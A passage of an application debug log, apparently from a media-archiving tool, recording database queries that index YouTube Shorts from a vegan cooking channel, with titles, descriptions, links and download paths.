"https://www.youtube.com/shorts/Nhd6YWh6_TQ", 252, "/downloads/downloads/alec/Steamy Vegan/2022-08-26 You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts/You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts [Nhd6YWh6_TQ].NA", false, false, true, 2, ~U[2022-08-26 23:09:53Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We've got a new vegan, high protein, oil free, rose linguine pasta live on the channel today. If you want an easy to make, vegan, high protein pasta that's definitely not sexy to eat but full of so much flavor then you'll want to check this recipe video out!\n\nFull Video Link: https://youtu.be/Ie88RmaBHA8", "You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts", 1, 15, false, "Nhd6YWh6_TQ", "https://www.youtube.com/shorts/Nhd6YWh6_TQ", "/downloads/downloads/alec/Steamy Vegan/2022-08-26 You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts/You Can Make Eating Pasta Sexy 😱😮😉#shorts #youtubeshorts [Nhd6YWh6_TQ].NA", true, ~U[2022-08-26 23:09:53Z]] 20:31:10.216 [debug] QUERY OK source="sources" db=1.6ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.218 [debug] QUERY OK source="media_items" db=2.1ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-26 19:15:00Z], 1] 20:31:10.220 [debug] QUERY OK source="media_items" db=1.0ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Serious question though... are they still refried beans if you make them in your Instant Pot?\n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔", "8b62b218-028b-4bb9-910d-4fa9bf9525e2", 1, [], 11, false, "N4rsTVRJfcc", "https://www.youtube.com/shorts/N4rsTVRJfcc", 253, "/downloads/downloads/alec/Steamy Vegan/2022-08-26 Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔/Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔 [N4rsTVRJfcc].NA", false, false, true, 2, ~U[2022-08-26 19:15:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Serious question though... are they still refried beans if you make them in your Instant Pot?\n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔", 1, 11, false, "N4rsTVRJfcc", "https://www.youtube.com/shorts/N4rsTVRJfcc", "/downloads/downloads/alec/Steamy Vegan/2022-08-26 Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔/Why are they called ‘refried beans’ anyway? I didn’t fry them. I only cooked them once… 🤔 [N4rsTVRJfcc].NA", true, ~U[2022-08-26 19:15:00Z]] 20:31:10.222 [debug] QUERY OK source="sources" db=1.5ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.224 [debug] QUERY OK source="media_items" db=2.0ms idle=8.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-25 23:30:00Z], 1] 20:31:10.226 [debug] QUERY OK source="media_items" db=0.8ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I tried Blume’s new Salted Caramel Latte superfood blend and…. 🤤\n\nSeriously. I have tried almost every superfood blend from Blume and this one is TOPS, y’all. Here’s how to make an iced latte:\n\nAdd 1 tsp salted caramel latte mix to a cup — splash of hot water — stir to dissolve — add liquid sweetener of choice and coffee ice cubes — fill with nondairy milk — stir, sip, enjoy 😉 ✨", "Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?", "dc6a83a4-207f-4b97-aff4-c08ee47cb1a8", 1, [], 26, false, "-k6naPQVUM0", "https://www.youtube.com/shorts/-k6naPQVUM0", 254, "/downloads/downloads/alec/Steamy Vegan/2022-08-25 Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?/Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER? [-k6naPQVUM0].NA", false, false, true, 2, ~U[2022-08-25 23:30:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "I tried Blume’s new Salted Caramel Latte superfood blend and…. 🤤\n\nSeriously. I have tried almost every superfood blend from Blume and this one is TOPS, y’all. Here’s how to make an iced latte:\n\nAdd 1 tsp salted caramel latte mix to a cup — splash of hot water — stir to dissolve — add liquid sweetener of choice and coffee ice cubes — fill with nondairy milk — stir, sip, enjoy 😉 ✨", "Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?", 1, 26, false, "-k6naPQVUM0", "https://www.youtube.com/shorts/-k6naPQVUM0", "/downloads/downloads/alec/Steamy Vegan/2022-08-25 Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER?/Salted caramel iced latte by Blume! ☕️ 🧊 Is their newest blend the best EVER? [-k6naPQVUM0].NA", true, ~U[2022-08-25 23:30:00Z]] 20:31:10.227 [debug] QUERY OK source="sources" db=0.7ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.228 [debug] QUERY OK source="media_items" db=1.5ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-25 19:15:02Z], 1] 20:31:10.229 [debug] QUERY OK source="media_items" db=0.6ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here's a little look into one of the recipes I included in my meal prep this week -- PICO DE GALLO! Aka salsa fresca \n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥", "10f41832-10b0-49ec-9062-c3c32cbfe007", 1, [], 12, false, "bTqHo3p_084", "https://www.youtube.com/shorts/bTqHo3p_084", 255, "/downloads/downloads/alec/Steamy Vegan/2022-08-25 What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥/What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥 [bTqHo3p_084].NA", false, false, true, 2, ~U[2022-08-25 19:15:02Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Here's a little look into one of the recipes I included in my meal prep this week -- PICO DE GALLO! Aka salsa fresca \n\nWatch my full ✨meal prep/what I ate in a week✨ video here: https://youtu.be/SG55bgKwvDg", "What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥", 1, 12, false, "bTqHo3p_084", "https://www.youtube.com/shorts/bTqHo3p_084", "/downloads/downloads/alec/Steamy Vegan/2022-08-25 What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥/What I meal prep for my lunches 🌱 PICO DE GALLO 🌶 🥵 🔥 [bTqHo3p_084].NA", true, ~U[2022-08-25 19:15:02Z]] 20:31:10.230 [debug] QUERY OK source="sources" db=1.0ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.233 [debug] QUERY OK source="media_items" db=1.8ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-23 14:00:01Z], 1] 20:31:10.235 [debug] QUERY OK source="media_items" db=0.8ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Some delicious meals that I eat in a week as a vegan! Gluten and oil-free recipes for weight loss! \n\nSweet potato breakfast cookies, freezer-friendly burritos and BIG burrito bowls! \n\n Check out my full meal prep and what I eat in a week video here: https://youtu.be/SG55bgKwvDg", "What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss", "81890528-53ec-43d5-8587-399f5285676e", 1, [], 10, false, "-NqDcTLRxY4", "https://www.youtube.com/shorts/-NqDcTLRxY4", 256, "/downloads/downloads/alec/Steamy Vegan/2022-08-23 What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss/What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss [-NqDcTLRxY4].NA", false, false, true, 1, ~U[2022-08-23 14:00:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Some delicious meals that I eat in a week as a vegan! Gluten and oil-free recipes for weight loss! \n\nSweet potato breakfast cookies, freezer-friendly burritos and BIG burrito bowls! \n\n Check out my full meal prep and what I eat in a week video here: https://youtu.be/SG55bgKwvDg", "What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss", 1, 10, false, "-NqDcTLRxY4", "https://www.youtube.com/shorts/-NqDcTLRxY4", "/downloads/downloads/alec/Steamy Vegan/2022-08-23 What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss/What I eat in a day as a vegan 🌱 gluten + oil-free meals for weight loss [-NqDcTLRxY4].NA", true, ~U[2022-08-23 14:00:01Z]] 20:31:10.236 [debug] QUERY OK source="sources" db=0.7ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.238 [debug] QUERY OK source="media_items" db=1.6ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-20 17:45:01Z], 1] 20:31:10.239 [debug] QUERY OK source="media_items" db=0.7ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We've all had a pint of ice cream where the chunks of cookie dough just weren't there and we said to ourselves \"WTF, where's the cookie dough?\" Check out our full vegan ice cream in-depth review and taste test so you can find out which vegan ice creams are the best at preventing this horrible circumstance.\n\nFull Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe if you enjoy vegan food recipes, taste tests and product reviews! Thanks for your support! Brad and Janelle", "The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts", "8ac376b3-dbba-4f6b-8d35-11e2a2b53bd4", 1, [], 28, false, "vM3GDNjGwkg", "https://www.youtube.com/shorts/vM3GDNjGwkg", 257, "/downloads/downloads/alec/Steamy Vegan/2022-08-20 The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts/The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts [vM3GDNjGwkg].NA", false, false, true, 1, ~U[2022-08-20 17:45:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "We've all had a pint of ice cream where the chunks of cookie dough just weren't there and we said to ourselves \"WTF, where's the cookie dough?\" Check out our full vegan ice cream in-depth review and taste test so you can find out which vegan ice creams are the best at preventing this horrible circumstance.\n\nFull Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe if you enjoy vegan food recipes, taste tests and product reviews! Thanks for your support! Brad and Janelle", "The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts", 1, 28, false, "vM3GDNjGwkg", "https://www.youtube.com/shorts/vM3GDNjGwkg", "/downloads/downloads/alec/Steamy Vegan/2022-08-20 The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts/The Case of the Missing Cookie Dough - We’ve all been here 😱🍦#shorts #youtubeshorts [vM3GDNjGwkg].NA", true, ~U[2022-08-20 17:45:01Z]] 20:31:10.240 [debug] QUERY OK source="sources" db=0.8ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.241 [debug] QUERY OK source="media_items" db=1.5ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-19 21:10:00Z], 1] 20:31:10.243 [debug] QUERY OK source="media_items" db=1.1ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This week on the channel we got really cheesy and reviewed 4 of the best vegan cheeses on the market. If you enjoyed these cheesy lines then you'll really enjoy the whole taste test and review video below\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nDon't forget to subscribe and like if you enjoy vegan and gluten free recipes and taste test videos. Thanks for your support! Brad and Janelle", "The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts", "fd98dec4-1b56-4cbb-b1ea-545656ac32b1", 1, [], 35, false, "_mirKM81dzs", "https://www.youtube.com/shorts/_mirKM81dzs", 258, "/downloads/downloads/alec/Steamy Vegan/2022-08-19 The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts [_mirKM81dzs].NA", false, false, true, 1, ~U[2022-08-19 21:10:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This week on the channel we got really cheesy and reviewed 4 of the best vegan cheeses on the market. If you enjoyed these cheesy lines then you'll really enjoy the whole taste test and review video below\n\nFull Video: https://youtu.be/lgPeexeqpJw\n\nDon't forget to subscribe and like if you enjoy vegan and gluten free recipes and taste test videos. Thanks for your support! Brad and Janelle", "The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts", 1, 35, false, "_mirKM81dzs", "https://www.youtube.com/shorts/_mirKM81dzs", "/downloads/downloads/alec/Steamy Vegan/2022-08-19 The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts/The Cheesiest Vegan Cheese Taste Test 🧀😂#shorts #youtubeshorts [_mirKM81dzs].NA", true, ~U[2022-08-19 21:10:00Z]] 20:31:10.244 [debug] QUERY OK source="sources" db=0.4ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.246 [debug] QUERY OK source="media_items" db=1.5ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-18 23:50:00Z], 1] 20:31:10.247 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In our recent vegan cheese taste test, things went a little wrong with this blooper. Hey, mistakes happen in life and it's ok, we all slip up from time to time and blurt out ...sliced virgins.\n\nCheck out the full episode here: https://youtu.be/lgPeexeqpJw", "Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts", "ae367b2a-ef8b-4f8b-b274-47bdbf2f24f0", 1, [], 37, false, "ZYFYhEAxqSE", "https://www.youtube.com/shorts/ZYFYhEAxqSE", 259, "/downloads/downloads/alec/Steamy Vegan/2022-08-18 Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts/Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts [ZYFYhEAxqSE].NA", false, false, true, 1, ~U[2022-08-18 23:50:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "In our recent vegan cheese taste test, things went a little wrong with this blooper. Hey, mistakes happen in life and it's ok, we all slip up from time to time and blurt out ...sliced virgins.\n\nCheck out the full episode here: https://youtu.be/lgPeexeqpJw", "Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts", 1, 37, false, "ZYFYhEAxqSE", "https://www.youtube.com/shorts/ZYFYhEAxqSE", "/downloads/downloads/alec/Steamy Vegan/2022-08-18 Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts/Taste Test Gone Very Wrong 😮 😂 #shorts #youtubeshorts [ZYFYhEAxqSE].NA", true, ~U[2022-08-18 23:50:00Z]] 20:31:10.248 [debug] QUERY OK source="sources" db=0.8ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.249 [debug] QUERY OK source="media_items" db=1.7ms idle=4.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-17 23:16:53Z], 1] 20:31:10.251 [debug] QUERY OK source="media_items" db=0.7ms idle=5.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full Vegan Ice Cream Taste Test Video Link: https://youtu.be/rU4cirfns1Q\n\nIf you're so hot that you're melted to the couch then you'll want to cool down with our vegan ice cream taste test and review video!\n\nSubscribe if you enjoy vegan recipes and taste test videos! Thanks for your support!", "Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts", "810f1fe2-fec8-42c3-b452-4d22c1bdff1f", 1, [], 8, false, "RuU3kx3alNk", "https://www.youtube.com/shorts/RuU3kx3alNk", 260, "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts/Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts [RuU3kx3alNk].NA", false, false, true, 3, ~U[2022-08-17 23:16:53Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Full Vegan Ice Cream Taste Test Video Link: https://youtu.be/rU4cirfns1Q\n\nIf you're so hot that you're melted to the couch then you'll want to cool down with our vegan ice cream taste test and review video!\n\nSubscribe if you enjoy vegan recipes and taste test videos! Thanks for your support!", "Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts", 1, 8, false, "RuU3kx3alNk", "https://www.youtube.com/shorts/RuU3kx3alNk", "/downloads/downloads/alec/Steamy Vegan/2022-08-17 Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts/Are you doing sweat angels on the floor cus it’s so hot? 🥵 vegan ice cream review #shorts [RuU3kx3alNk].NA", true, ~U[2022-08-17 23:16:53Z]] 20:31:10.251 [debug] QUERY OK source="sources" db=0.5ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.253 [debug] QUERY OK source="media_items" db=1.7ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-17 20:05:00Z], 1] 20:31:10.256 [debug] QUERY OK source="media_items" db=1.8ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our full vegan cheese taste test and review live on the channel right now. We put 4 of the best vegan cheeses into an in-depth test that includes a wiggle wiggle test! \n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw\n\nIf you like vegan and gluten free recipes videos, taste test and reviews then you'll want to jiggle jiggle that subscribe button! Thanks for your support.", "My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts", "50456921-dd25-4d10-bdf2-a9ed58218c08", 1, [], 15, false, "xGJyLzNGmco", "https://www.youtube.com/shorts/xGJyLzNGmco", 261, "/downloads/downloads/alec/Steamy Vegan/2022-08-17 My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts/My Vegan Cheese Don’t Jiggle Jiggle It Flops 🧀 😂#shorts #youtubeshorts [xGJyLzNGmco].NA", false, false, true, 3, ~U[2022-08-17 20:05:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Check out our full vegan cheese taste test and review live on the channel right now. We put 4 of the best vegan cheeses into an in-depth test that includes a wiggle wiggle test! \n\nFull Taste Test Video Here: https://youtu.be/lgPeexeqpJw\n\nIf you like vegan and gluten free recipes videos, taste test and reviews then you'll want to jiggle jiggle that subscribe button! Thanks for your support.", "My Vegan Cheese Don’t Jiggle 